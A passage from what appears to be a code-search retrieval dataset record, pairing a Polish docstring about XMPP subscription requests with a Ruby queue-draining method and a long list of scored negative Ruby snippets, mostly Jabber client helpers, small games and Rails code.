"0.6044661",
"0.6033501",
"0.603332",
"0.6031946",
"0.60291535",
"0.60266346",
"0.60203123",
"0.60188824",
"0.6013309",
"0.60077405",
"0.6002649"
] |
0.0
|
-1
|
Zwraca prosby o subskrycje wyslane do uzytkownika
|
def prosby_o_subskrypcje
subskrypcje=[]
while(!@prosba_subskrypcja.empty?)
sub=@prosba_subskrypcja.pop(true) rescue nil
break if sub.nil?
subskrypcje << sub
yield sub if block_given?
end
subskrypcje
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def suivre; end",
"def zuruecksetzen()\n end",
"def topsman_periphacitis_urosteon()\n end",
"def upc_e; end",
"def unsichtbar_machen()\n end",
"def schubert; end",
"def terpene; end",
"def ToCoStoiPrzyA()\n return @RownanieWielomianu.first.WspolczynnikPomocniczy\n end",
"def ausschalten()\n @schirm.farbe_aendern('orange')\n @leuchtstrahl1.unsichtbar_machen()\n @leuchtstrahl2.unsichtbar_machen()\n @leuchtstrahl3.unsichtbar_machen()\n @leuchtstrahl4.unsichtbar_machen()\n end",
"def chondromyxoma(buckshee, uncongenially_chiquitan)\n end",
"def letzte_komponente\n \n end",
"def utiliser( objet )\n\t\[email protected]( objet )\n\t\trafraichir\n\tend",
"def sonido()\n return super << \" miaaauuu\"\n end",
"def to_s\n \"#{imie} #{nazwisko}\"\n end",
"def sichtbar_machen()\n end",
"def ibu; end",
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def verdi; end",
"def wydajPrzesylkeKierowcy(kierowca)\n # wybor przesylki\n # przesylka = ...wybieramy jakas\n # usuniecie tej przesylki z @przesylki\n kierowca.push(przesylka) \n end",
"def sichtbar_machen()\n # TODO\n end",
"def changerEnVide\n\t\t@couleur=-1\n\tend",
"def vrat_modif_instanci\n vystup=\"\"\n @pole_dat.each do |radek| \n if(radek[0]==\"p\")then \n vystup +=radek\n vystup += \"w #{generuj_vahy(radek).join(' ')}\\n\" #pridani radku s vahami\n else\n vystup +=radek\n end \n end\n # puts vystup\n return vystup\n end",
"def berlioz; end",
"def iseuc;\tKconv.iseuc(self) end",
"def zapis_vysledek(reseni, je_splnitelna) \n @reseni = reseni\n @vysledny_soucet_vah = vrat_soucet_vah(reseni)\n @je_splnitelna = je_splnitelna\n end",
"def solicitudes_atrasadas\n end",
"def upc_a; end",
"def konversiMenit(menit) \n # =================================\n # Area Kode Kode di sini\n \n \n \n # =================================\n end",
"def cp_e\n end",
"def formation; end",
"def ul_to_biomek\r\n ul_to_pool\r\n end",
"def set_wypozyczeny\n @wypozyczeny = Wypozyczenie.find(params[:id])\n end",
"def changerEnRouge\n\t\t@couleur=1\n\tend",
"def probers; end",
"def copia_en_buzon_propio?\n return (current_user.puesto.buzon == self.buzon)\n end",
"def passworde\n @passworde\n end",
"def romeo_and_juliet; end",
"def affichage_bienvenue\nputs\"------------------------------------------------\n|Bienvenue sur 'ILS VEULENT TOUS MA POO' ! |\n|Le but du jeu est d'être le dernier survivant !|\n-------------------------------------------------\"\nend",
"def setcharup(*)\n super\n end",
"def blam!\n berzerk? ? w00t! : super\n end",
"def wyslij(wiadomosc)\n\tproba=0\n\tbegin\n\t\tproba+=1\n\t\[email protected](wiadomosc)\n\trescue\n\t\tretry unless proba>3\n\tend\n end",
"def guct\n end",
"def changerVers(couleur)\n\t\t@couleur=couleur\n\tend",
"def changerVers(couleur)\n\t\t@couleur=couleur\n\tend",
"def gastriloquism_quinnipiac_apodictical()\n end",
"def turistum_params\n params.require(:turistum).permit(:nombre, :mail, :contraseĮņa)\n end",
"def sauvegarderJeu()\n\t\t# création de la sauvegarde\n\t\t@sauvegarde = Sauvegarde.creer( self.joueur,self.carte,self.nbTour )\n\n @sauvegardeYaml = SauvegardeYAML.creer(self.joueur.nom)\n @sauvegardeYaml.enregistrement( self.sauvegarde)\n\n\tend",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def tuc(arg)\n h = Hash.[](\".\"=>\"་\", \"/\"=>\"།\", \";\"=>\"༔\", \"\"=>\"\",\n \"ka\"=>\"ཀ\", \"kha\"=>\"ཁ\", \"ga\"=>\"ག\", \"nga\"=>\"ང\",\n \"ca\"=>\"ཅ\", \"cha\"=>\"ཆ\", \"ja\"=>\"ཇ\", \"nya\"=>\"ཉ\",\n \"ta\"=>\"ཏ\", \"tha\"=>\"ཐ\", \"da\"=>\"ད\", \"na\"=>\"ན\",\n \"pa\"=>\"པ\", \"pha\"=>\"ཕ\", \"ba\"=>\"བ\", \"ma\"=>\"མ\",\n \"tsa\"=>\"ཙ\", \"tsha\"=>\"ཚ\", \"dza\"=>\"ཛ\", \"wa\"=>\"ཝ\",\n \"zha\"=>\"ཞ\", \"za\"=>\"ཟ\", \"'a\"=>\"འ\", \"ya\"=>\"ཡ\",\n \"ra\"=>\"ར\", \"la\"=>\"ལ\", \"sha\"=>\"ཤ\", \"sa\"=>\"ས\",\n \"ha\"=>\"ཧ\", \"a\"=>\"ཨ\",\n # numbers !!! better include number_generator\n \"0\"=>\"༠\", \"1\"=>\"༡\", \"2\"=>\"༢\", \"3\"=>\"༣\",\n \"4\"=>\"༤\", \"5\"=>\"༥\", \"6\"=>\"༦\", \"7\"=>\"༧\",\n \"8\"=>\"༨\", \"9\"=>\"༩\",\n # vowel signs\n \".e\"=>\"ེ\", \".i\"=>\"ི\", \".o\"=>\"ོ\", \".u\"=>\"ུ\",\n # double vowel signs\n \"E\" => \"ཻ\", \"O\" => \"ཽ\",\n # subscribed characters\n \"x_ka\"=>\"ྐ\", \"x_kha\"=>\"ྑ\", \"x_ga\"=>\"ྒ\", \"x_nga\"=>\"ྔ\",\n \"x_ca\"=>\"ྕ\", \"x_cha\"=>\"ྖ\", \"x_ja\"=>\"ྗ\", \"x_nya\"=>\"ྙ\",\n \"x_ta\"=>\"ྟ\", \"x_tha\"=>\"ྐ\", \"x_da\"=>\"ྡ\", \"x_na\"=>\"ྣ\",\n \"x_pa\"=>\"ྤ\", \"x_pha\"=>\"ྥ\", \"x_ba\"=>\"ྦ\", \"x_ma\"=>\"ྨ\",\n \"x_tsa\"=>\"ྩ\", \"x_tsha\"=>\"ྪ\", \"x_dza\"=>\"ྫ\", \"x_wa\"=>\"ྭ\",\n \"x_zha\"=>\"ྮ\", \"x_za\"=>\"ྯ\", \"x_'a\"=>\"ཱ\", \"x_ya\"=>\"ྱ\",\n \"x_ra\"=>\"ྲ\", \"x_la\"=>\"ླ\", \"x_sha\"=>\"ྴ\", \"x_sa\"=>\"ྶ\",\n \"x_ha\"=>\"ྷ\", \"x_a\"=>\"ྸ\",\n # superscribed character\n \"ra_x\"=>\"ར\",\n # revered letters\n \"Ta\"=>\"ཊ\", \"Tha\" => \"ཋ\", \"Da\" => \"ཌ\", \"Na\" => \"ཎ\",\n \"Sha\" => \"ཥ\")\n\n result = h[arg]\n if result != nil\n erg = result\n else\n erg = \"\"\n end\n return erg\n end",
"def einschalten() \n @schirm.farbe_aendern('gelb')\n @leuchtstrahl1.sichtbar_machen()\n @leuchtstrahl2.sichtbar_machen()\n @leuchtstrahl3.sichtbar_machen()\n @leuchtstrahl4.sichtbar_machen()\n @leuchtstrahl1.farbe_aendern('gelb')\n @leuchtstrahl2.farbe_aendern('gelb')\n @leuchtstrahl3.farbe_aendern('gelb')\n @leuchtstrahl4.farbe_aendern('gelb')\n end",
"def sichtbar_machen\n @sichtbar = true\n zeichnen()\n puts(self) \n end",
"def An()\n return @RownanieWielomianu.first.Wspolczynnik\n end",
"def romeo_and_juliet_quote; end",
"def devolver_azucar \n\t\treturn @azucares\n\tend",
"def changerEnBleu\n\t\t@couleur=0\n\tend",
"def mi_carrera\n\n\tend",
"def full_descripcion \n \"#{asunto.nombre} - \"+\"#{nombre}\" \n end",
"def wtfpyra (a)\n\t\tfullpyra (a)\n\t\treversefullpyra (a)\n\tend",
"def lui(t, c)\n\n end",
"def funktionsname\n\tanweisung\nend",
"def test_basic_element\n\t\ta = @a.request(\"한국전쟁\")\n\t\tputs a.title\n\t\tputs a.total\n\tend",
"def set_wypozyczenium\n @wypozyczenium = Wypozyczenium.find(params[:id])\n end",
"def dean_label\n 'děkan'\n end",
"def pessoavaidois(lugar)\n \"indo para \" + lugar\nend",
"def utiliser(unJoueur)\n\t\tunJoueur.incEndurance(@valeurED)\n\t\tunJoueur.incPointsDeVie(@valeurPV)\n\tend",
"def toeuc; Kconv.toeuc(self) end",
"def show\n #訪問\n @houmons = @kofu.houmons.all\n @houmon = @kofu.houmons.build\n \n #訪問回数の自動セット\n @houmon.houmon_su = @houmons.length + 1\n @houmon.build_tenko\n @houmon.build_zaitakufuzai\n \n #点検結果\n @tenkenkekka = @houmon.tenkenkekka\n if @tenkenkekka.nil?\n @tenkenkekka = @houmon.build_tenkenkekka\n end\n \n #問診\n @monshin = @tenkenkekka.monshin\n if @monshin.nil?\n @monshin = @tenkenkekka.build_monshin\n #契約種別が０１１ならば問診未実施理由自動登録\n if @kofu.keiyaku.keiyakushubetsu_code == \"011\"\n @monshin.jisshi_umu = 2 \n @monshin.mijisshi_riyu = \"街路灯\"\n end\n end\n \n #屋内\n @okunai = @tenkenkekka.okunai\n if @okunai.nil?\n @okunai = @tenkenkekka.build_okunai\n #契約種別が０１１ならば屋内未実施理由自動登録\n if @kofu.keiyaku.keiyakushubetsu_code == \"011\" \n @okunai.jisshi_umu = 2\n @okunai.mijisshi_riyu = \"街路灯\"\n end\n end\n #屋外\n @okugai = @tenkenkekka.okugai\n if @okugai.nil?\n @okugai = @tenkenkekka.build_okugai\n end\n #測定値\n @sokutei = @tenkenkekka.sokutei\n if @sokutei.nil?\n @sokutei = @tenkenkekka.build_sokutei\n end\n \n \n end",
"def ognia(a,b)\n\t\tsystem \"clear\"\n\t\tif @pelna.litera[a][b] == \" X\"\n\t\t\[email protected][a][b] = \" X\"\n\t\t\tprint \"Trafiony \"\n\t\t\tszukany = (Statek.lista_statkow.select {|x| x if x.sam_statek[0] == [a,b] || x.sam_statek[1] == [a,b] ||\n\t\t\t x.sam_statek[2] == [a,b] || x.sam_statek[3] == [a,b]})[0]\n\t\t\tszukany.sam_statek.delete([a,b])\n\t\t\t\n\t\t\tif szukany.sam_statek.length == 0\n\t\t\t\tputs \"Zatopiony !!!\"\n\t\t\t\tszukany.otoczka.each {|x| pusta.litera[x[0]][x[1]]=\" .\" if x[0] >=0 && x[1] >=0 && x[0] < 10 && x[1] < 10}\n\t\t\t\tStatek.lista_statkow.delete(szukany)\n\t\t\t\tprint \"Zostało Ci jeszcze #{Statek.lista_statkow.count} statków do zatopienia\"\n\t\t\tend\n\t\t\tputs\n\t\t\t\n\t\t\telse \n\t\t\tputs \"Pudło !\"\n\t\t\[email protected][a][b] = \" .\"\n\t\t\t\n\t\tend\n\t\tif Statek.lista_statkow.count > 0\n\t\t\[email protected] \n\t\telse\n\t\t\tsystem \"clear\"\n\t\t\[email protected] \n\t\t\tputs \"Koniec GRY !!!\" \n\t\tend\n\tend",
"def show_euro\n\t\tputs @eur\n\tend",
"def gluck_french; end",
"def transact; end",
"def unsichtbar_machen\n loeschen()\n @sichtbar = false \n end",
"def schumann; end",
"def usoinmue_hash\n inmueble_hash = {u_inmue: u_inmue, d_uinmue: d_uinmue}\n self.uinmueble = inmueble_hash\n end",
"def obchoduj\r\n @weapon.length.times do |i|\r\n puts \"#{i + 1}) Jmeno:#{@weapon[i].jmeno},Sila #{@weapon[i].sila}, cena:#{@weapon[i].cena}\"\r\n end\r\n puts \"Vyber si zbran k nakupu. Mas momentalne #{@valecnik.gold} zlatych. Pro ukonceni stiskni enter\"\r\n volba = gets.to_i\r\n while volba != 0\r\n if @valecnik.gold < @weapon[volba - 1].cena\r\n puts \"Na nakup #{@weapon[volba - 1].jmeno} nemas dostatek penez. Vyber si jinou zbran. Pro ukonceni obchodovani stiskni enter\"\r\n volba = gets.to_i\r\n else\r\n @valecnik.zbran = @weapon[volba - 1]\r\n @valecnik.gold -= @weapon[volba - 1].cena\r\n puts \"Koupil jsi #{@valecnik.zbran.jmeno}.\"\r\n break\r\n end\r\n end\r\n end",
"def anstatauKodo(teksto)\n\n trovoj = teksto.scan(/&(.*?);/)\n if trovoj == nil or trovoj.size <= 0 then return teksto end\n\n for i in 0..trovoj.size do\n \n\ttrov = trovoj[i].to_s[2..-3]\n if @literoj[trov] != nil\n\t teksto.sub!(\"&#{trov};\", @literoj[trov])\n\telse\n\t #puts \"Eraro! Ne trovis [#{trov}]\"\n\tend\n end\n\n teksto = CGI::unescapeHTML(teksto)\n return teksto\nend",
"def rossini; end",
"def asignar_titulo_propiedad()\n \n end",
"def PodstawAn(ans) \n @RownanieWielomianu.each{ |wezel| \n if(ans.key?(wezel.Wspolczynnik))\n wezel.Wspolczynnik = ans[wezel.Wspolczynnik]\n end\n }\n end",
"def bellini; end",
"def oben() \n return @fahrbahn.obere_linke_ecke().y() \n end",
"def squeek\r\n\t\treturn \"eeeep\"\r\n\tend",
"def simple_blind_ror\n \n end",
"def celebration; end",
"def plany_zajec\n PlanZajec.where(\"ogloszenie_id = ?\", self.id)\n end",
"def grilleSuivante()\n @grilleRaz = nil\n return nil\n end",
"def gerund\n b = gerundive.sub( /.*\\s+(.*)um.*$/, \"\\\\1\" )\n b += \"ī, ō, etc.\"\n return b\n end",
"def vypis_reseni\n\n vystup = \"(\"\n @reseni.each do |prvek|\n if(prvek)then\n vystup += \"1\"\n else\n vystup += \"0\"\n end \n end\n vystup += \")\"\n \n return vystup\n end",
"def texto_plano\n\t\tusuario.texto_plano\t\n\tend",
"def set_kai2_ji7\n @kai2_ji7 = Kai2Ji7.find(params[:id])\n @kai2_ji7.無齊記號 = '!'+@kai2_ji7.無齊記號\n end",
"def king_richard_iii; end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n\n # newfree = @user.zveno.all - @user.zveno.users.count\n\n # @user.zveno.update_attribute(:free, newfree)\n\n format.html { redirect_to @user,\n notice: 'Поздравляем! Вы успешно зарегистрировались на XII Открытый велопробег Дорога Минина!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def puertos\n raise 'implement please!'\n end",
"def slogan\n # 'A maneira mais fácil de pré-qualificar ao Atlas.'\n ''\n end",
"def anulacion \n @solicitud=Solicitud.find(params[:id])\n @causal_select=CausalesAnulacionRevocatoria.find(:all,:conditions=>\"anulacion=true\",:order=>\"causa asc\")\n @width_layout = '660'\n end",
"def strain; end",
"def usun_z_listy(*jid)\n\tkontakty(*jid) do |usun|\n\t\tusun.usun_subskrypcje\n\t\treq=Iq.new_rosterset\n\t\treq.query.add(Roster::RosterItem.new(usun.jid,nil,:remove))\n\t\twyslij(req)\n\tend\n end"
] |
[
"0.6528358",
"0.63383836",
"0.6007862",
"0.5973304",
"0.5663285",
"0.565248",
"0.56429756",
"0.5604018",
"0.5581136",
"0.5570425",
"0.5564416",
"0.5468422",
"0.5453473",
"0.543679",
"0.5422764",
"0.5416298",
"0.5393353",
"0.535708",
"0.53447515",
"0.5316138",
"0.52991927",
"0.52930075",
"0.5290946",
"0.5285662",
"0.5273591",
"0.5272907",
"0.5260369",
"0.5252234",
"0.5228926",
"0.5211982",
"0.52005273",
"0.5180795",
"0.5169793",
"0.51677674",
"0.5155972",
"0.5154875",
"0.5147897",
"0.5138161",
"0.51367",
"0.51339465",
"0.5127679",
"0.51268774",
"0.5107714",
"0.5095812",
"0.5095812",
"0.5089888",
"0.5086727",
"0.5080542",
"0.5075899",
"0.5075899",
"0.5075899",
"0.5075899",
"0.50665253",
"0.5065605",
"0.5065049",
"0.5056974",
"0.50568336",
"0.5056555",
"0.5042656",
"0.50356865",
"0.5014658",
"0.50106674",
"0.5002767",
"0.50019467",
"0.50014555",
"0.49997434",
"0.499615",
"0.49959162",
"0.499475",
"0.49927732",
"0.49921405",
"0.49886093",
"0.49849117",
"0.4981901",
"0.49809888",
"0.497464",
"0.49742067",
"0.49705777",
"0.4965407",
"0.49643454",
"0.49616668",
"0.49594635",
"0.49512663",
"0.4950029",
"0.49459016",
"0.49437144",
"0.49426177",
"0.4941977",
"0.49379927",
"0.4912805",
"0.4910418",
"0.49093235",
"0.49081436",
"0.49078208",
"0.49039778",
"0.4901678",
"0.4892493",
"0.4890159",
"0.4888311",
"0.48882604",
"0.48792914"
] |
0.0
|
-1
|
Akceptuje prosbe o subskrypcje wyslana do uzytkownika jid [Jabber::JID] jid uzytkownika do zaakceptowania
|
def akceptuj_subskrypcje(jid)
roster.accept_subscription(jid)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def odrzuc_subskrypcje(jid)\n\troster.decline_subscription(jid)\n end",
"def jid=(_arg0); end",
"def jid; end",
"def jid=(jid)\n unsubscribe[:jid] = jid\n end",
"def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)\n\tkontakty(jid) do |znajomy|\n\t\tunless subskryp? znajomy\n\t\t\tdodaj_do_listy(znajomy.jid)\n\t\t\treturn dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)\n\t\tend\n\t\twiad=Message.new(znajomy.jid)\n\t\twiad.type=typ\n\t\twiad.body=wiadomosc\n\t\twyslij(wiad)\n\tend\n end",
"def usun_z_listy(*jid)\n\tkontakty(*jid) do |usun|\n\t\tusun.usun_subskrypcje\n\t\treq=Iq.new_rosterset\n\t\treq.query.add(Roster::RosterItem.new(usun.jid,nil,:remove))\n\t\twyslij(req)\n\tend\n end",
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def jid=(jid)\n subscription_node[:jid] = jid\n end",
"def loguj(jids,haslo)\n\tjid=JID::new(jids)\n\t@klient=Client::new(jid)\n\[email protected]\n\[email protected](haslo)\n\[email protected](Presence.new.set_type(:available))\n\t@wiadomosci_do_wyslania=Queue.new\n\tdef_callback\n\tsleep(1)\n\tThread.new{\n\t\twhile(true)\n\t\t\tnext if @wiadomosci_do_wyslania.length<1\n\t\t\twiadomosci=[@wiadomosci_do_wyslania.pop]\n\t\t\twiadomosci.each{ |wiadomosc|\n\t\t\t\tif subskryp?(JID::new(wiadomosc[:do]))\n\t\t\t\t\twyslij_wiadomosc(wiadomosc[:do],wiadomosc[:wiadomosc],wiadomosc[:typ])\n\t\t\t\telse\n\t\t\t\t\t@wiadomosci_do_wyslania << wiadomosc\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t}\n end",
"def subscribe(&blk)\n pres = connection.presence_stanza('to'=>jid.bare, 'type' => 'subscribe')\n connection.send_stanza pres, &blk\n end",
"def send_el_msg(pid, msg)\n buffer = $b.clone\n buffer[:type] = \"ELECTION\"\n buffer[:msg] = msg\n\n # najdu dalsi aktivni proces\n succ = next_pid(pid)\n while($processes[succ][:active] != true)\n succ = next_pid(succ)\n end\n\n $processes[succ][:buffer] = buffer\nend",
"def invite(invited_jid,reason=\"no reason\",&blk)\n msg = connection.message_stanza(:to => jid) do\n x('x', 'xmlns' => Namespaces::MucUser) do\n x('invite', 'to' => invited_jid.to_s) do\n x('reason', reason) if reason\n end\n end\n end\n connection.send_stanza msg, &blk\n end",
"def motd(subject,&blk)\n msg = connection.message_stanza(:to => jid) do\n x('subject',subject)\n end\n connection.send_stanza msg, &blk\n end",
"def jid\n JID.new(unsubscribe[:jid])\n end",
"def test_password\n jid1 = '[email protected]'\n @client.deliver_message(jid1, '/join #nerds password')\n @chat.wait_until_all_messages_sent\n assert_equal('_Created \"#nerds\"._', @client.shift_message(jid1).body)\n assert_equal('_Joined \"#nerds\" with 1 user total._',\n @client.shift_message(jid1).body)\n assert_equal(nil, @client.shift_message(jid1))\n\n jid2 = '[email protected]'\n @client.deliver_message(jid2, '/join #nerds')\n @chat.wait_until_all_messages_sent\n assert_equal(nil, @client.shift_message(jid1))\n assert_equal('_Incorrect or missing password for \"#nerds\"._',\n @client.shift_message(jid2).body)\n assert_equal(nil, @client.shift_message(jid2))\n\n @client.deliver_message(jid2, '/join #nerds password')\n @chat.wait_until_all_messages_sent\n assert_equal('_*bar* <[email protected]> has joined \"#nerds\"._',\n @client.shift_message(jid1).body)\n assert_equal(nil, @client.shift_message(jid1))\n assert_equal('_Joined \"#nerds\" with 2 users total._',\n @client.shift_message(jid2).body)\n assert_equal(nil, @client.shift_message(jid2))\n end",
"def jid\n \"#{@username}@#{@domain}\"\n end",
"def send_message(jid,text)\n m = Jabber::Message.new(jid, text)\n m.set_type :chat\n @client.send m\n end",
"def play_prog(room_name,msg)\n begin\n @client\n @muc\n\n server = \"jabber.example.com\"\n zid = rand(9999)\n\n @client = Client.new(\"#{server}/#{zid}\")\n# Jabber::debug = true\n @client.connect\n puts @client.supports_anonymous?\n @client.auth_anonymous_sasl\n\n\n @muc = MUC::SimpleMUCClient.new(@client)\n puts \"#{room_name}@conference.#{server}/#{zid}\"\n @muc.join(Jabber::JID.new(\"#{room_name}@conference.#{server}/#{zid}\"))\n\n## tell the tv about the thing\n\n @muc.send(Jabber::Message.new(\"#{room_name}@conference.#{server}/#{zid}\",msg))\n @client.close()\n rescue Exception=>e\n puts e\n puts e.backtrace\n end\n end",
"def jid=(jid)\n attributes[:jid] = jid\n end",
"def jid=(j)\n attributes['jid'] = (j ? j.to_s : nil)\n end",
"def runJabber\n \n i = 0\n while i < 3 do \n begin\n @jbclient = Jabber::Client.new Jabber::JID.new(@@conf[\"jabber_account\"])\n @jbclient.connect(@@xmpp_host, @@xmpp_port)\n @jbclient.auth(@@conf[\"password\"])\n @jbclient.send(Jabber::Presence.new.set_type(:available))\n puts \"Connected to jabber server\" if @jbclient.is_connected?\n \n roster = Jabber::Roster::Helper.new(@jbclient)\n \n roster.add_subscription_request_callback { |item,presence|\n if presence.from == @@visualRESTmain\n roster.accept_subscription(presence.from)\n end\n }\n i = 3\n rescue => exception\n puts \"xmpp \" + exception\n sleep(1)\n i += 1\n end\n end\n \n @jbclient.add_message_callback { |msg|\n if msg != nil and msg.type == :chat and msg.body and msg.from == @@visualRESTmain\n puts \"<#{msg.from}> #{msg.body.strip}\"\n \n cmd, arg = msg.body.split(/ /, 2)\n \n if cmd and @@test_messages\n puts \"CMD: \" + cmd\n end\n if arg and @@test_messages\n puts \"ARG: \" + arg\n end\n command(msg.from, cmd, arg)\n end\n }\nend",
"def sendChatAction to, act\n self.query(\"sendChatAction\", {:chat_id=>to, :action=>act})\n end",
"def subscribe\n subscribee = connection.jid.bare\n\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSub},\n x('subscribe','node' => node_id, 'jid'=>subscribee)\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def message_to_at_user(at_user)\n # return if self.user.id == at_user.id\n message = self.messages.build(\n is_read: false,\n user_id: at_user.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} @了你: #{self.content}\"\n )\n message.save\n end",
"def update\n @subject = Subject.find(params[:id])\n if (user_signed_in? && !(@subject.users.include?(current_user)))\n flash[:alert]=\"Nemôžeš sa vymazať z kurzu!\"\n render :action=> \"new\"\n else\n params[:subject][:user_ids] ||= []\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Kurz bol upravený.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def sendmsg(type, where, message, chan=nil, ring=0,plain=nil)\n #if !plain\n # p = PirateTranslator.new\n # message = p.translate(message)\n # debug \"Piratized message: #{message}\"\n #end\n super(type,where,message,chan,ring)\n end",
"def update_user(jid, node)\n @publisher.update_user(jid, node)\n end",
"def process command, jid\n\t\t# get the jid out of the message\n\t\t# get the message text itself\n\t\t# look up the user role\n\t\trole = 'admin'\n\n\t\t# Switch the commands\n\t\tcase command\n\n\t\t# add user nick [email protected] [email protected]\n\t\twhen /^add user ([a-zA-Z0-9]+) ([a-zA-Z0-9]+\\@{1}([a-zA-Z0-9]*\\.)+([a-zA-Z]+)){1} ([a-zA-Z0-9]+\\@{1}([a-zA-Z0-9]*\\.)+([a-zA-Z]+)){1}/\n\t\t\tvalues = command.split\n\n\t\t\tnick = values[2]\n\t\t\tjid = values[3]\n\t\t\temail = values[4]\n\n\t\t\[email protected] nick, email, jid\n\n\t\t# Add a new project\n\t\twhen /^add pro(ject)? ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\" \\\"(.*)\\\"$/\n\t\t\tif role == 'admin'\n\t\t\t\tvalues = command.split \"\\\"\"\n\t\t\t\tvalues.delete_if {|i| i==\" \"}\n\n\t\t\t\tmachinename = values[0].split \" \"\n\t\t\t\tmachinename = machinename[2]\n\t\t\t\ttitle = values[1]\n\t\t\t\tdescription = values[2]\n\n\t\t\t\tadded = @project.add machinename, title, description, nil, nil\n\t\t\t\tif added\n\t\t\t\t\tmsg = \"New project '#{machinename}' has been added\"\n\t\t\t\telse\n\t\t\t\t\tmsg = \"There already is a project with this name.\"\n\t\t\t\tend\n\t\t\t\tmsg\n\t\t\tend\n\n\t\t# Show all projects\n\t\twhen /^pro(jects)?$/\n\t\t\tprojects = @project.getNiceList\n\n\t\t\toutput = \"Projects:\"\n\t\t\tprojects.each do |row|\n\t\t\t\toutput += \"\\n#{row['title']} \\(#{row['machinename']}\\)\\n\"\n\t\t\t\toutput += \"#{row['description']}\\n\"\n\t\t\t\toutput += \"-------------------------------------------\"\n\t\t\tend\n\t\t\toutput = projects.size > 0 ? output : \"There are no projects in the database\"\n\t\t\toutput\n\n\t\t# Delete a project\n\t\twhen /^del(ete)? pro(ject)? ([a-zA-Z0-9]+)$/\n\t\t\tif role == 'admin'\n\t\t\t\tvalues = command.split \" \"\n\t\t\t\tmachinename = values[2]\n\n\t\t\t\tif @project.getId machinename\n\t\t\t\t\[email protected] machinename\n\t\t\t\t\t\"Project '#{machinename}' has been deleted.\"\n\t\t\t\telse\n\t\t\t\t\t\"There is no such project.\"\n\t\t\t\tend\n\t\t\tend\n\n\n\t\t# add tracket machinename \"Some Title\" \"some description text\"\n\t\twhen /^add ([a-zA-Z0-9]+) ([a-zA-Z0-9]+) \\\"([a-zA-Z0-9 ]+)\\\" \\\"(.*)\\\"$/\n\t\t\tvalues = command.split \"\\\"\"\n\t\t\tvalues.delete_if {|i| i == \" \"}\n\n\t\t\tparams = values[0].split \" \"\n\n\t\t\ttracker = params[1]\n\t\t\tmachinename = params[2]\n\t\t\ttitle = values[1]\n\t\t\tdescription = values[2]\n\n\t\t\tpid = @project.getId machinename\n\t\t\tif pid\n\t\t\t\tcid = @user.getId jid\n\n\t\t\t\ttid = @ticket.add pid, title, description, cid, tracker\n\t\t\t\t\"New #{tracker} (##{tid}) has been added to #{machinename}.\"\n\t\t\telse\n\t\t\t\t\"There is no such project.\"\n\t\t\tend\n\n\t\t# show new tickets\n\t\twhen /^n(ew)?$/\n\t\t\ttickets = @ticket.getNew\n\n\t\t\toutput = \"New unassigned tickets:\"\n\t\t\ttickets.each do |ticket|\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\ttracker = ticket['tracker']\n\t\t\t\tpid = ticket['pid']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\n\t\t\t\toutput += \"\\n##{tid} [#{tracker}] <b>\\\"#{title}\\\"</b> in #{machinename}\"\n\t\t\tend\n\t\t\toutput = tickets.count < 1 ? \"There are no new tickets.\" : output\n\t\t\toutput\n\n\t\twhen /^d(etails)? ([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\n\t\t\tif @ticket.exists? tid\n\t\t\t\tticket = @ticket.getDetails tid\n\n\t\t\t\ttid = ticket['id']\n\t\t\t\ttitle = ticket['title']\n\t\t\t\tdescription = ticket['description']\n\t\t\t\ttracker = ticket['tracker']\n\t \t\tcreated = ticket['created']\n\t\t\t\tpid = ticket['pid']\n\t\t\t\tcid = ticket['creator']\n\t\t\t\tstatus = ticket['status']\n\n\t\t\t\tmachinename = @project.getMachinename pid\n\t\t\t\tnick = @user.getNickFromId cid\n\n\t\t\t\toutput = \"Details for ticket ##{tid}:\"\n\t\t\t\toutput += \"\\n| ##{tid} [#{tracker}] \\\"#{title}\\\" in #{machinename} [#{status}]\\n\"\n\t\t\t\toutput += \"| Added by #{nick} on #{created}\\n\"\n\t\t\t\toutput += \"#{description}\"\n\t\t\telse\n\t\t\t\toutput = \"There is no such ticket.\"\n\t\t\tend\n\t\t\toutput\n\n\t\t# assign ticket to yourself\n\t\twhen /^a(ssign )?([0-9]+)$/\n\t\t\tvalues = command.split \" \"\n\t\t\ttid = values[1]\n\t\t\tuid = @user.getId jid\n\t\t\tif @ticket.exists? tid\n\t\t\t\t# AND requesting user is maintainer in this project\n\t\t\t\tif [email protected]? tid\n\t\t\t\t\[email protected] tid, uid\n\t\t\t\t\t\"Ticket 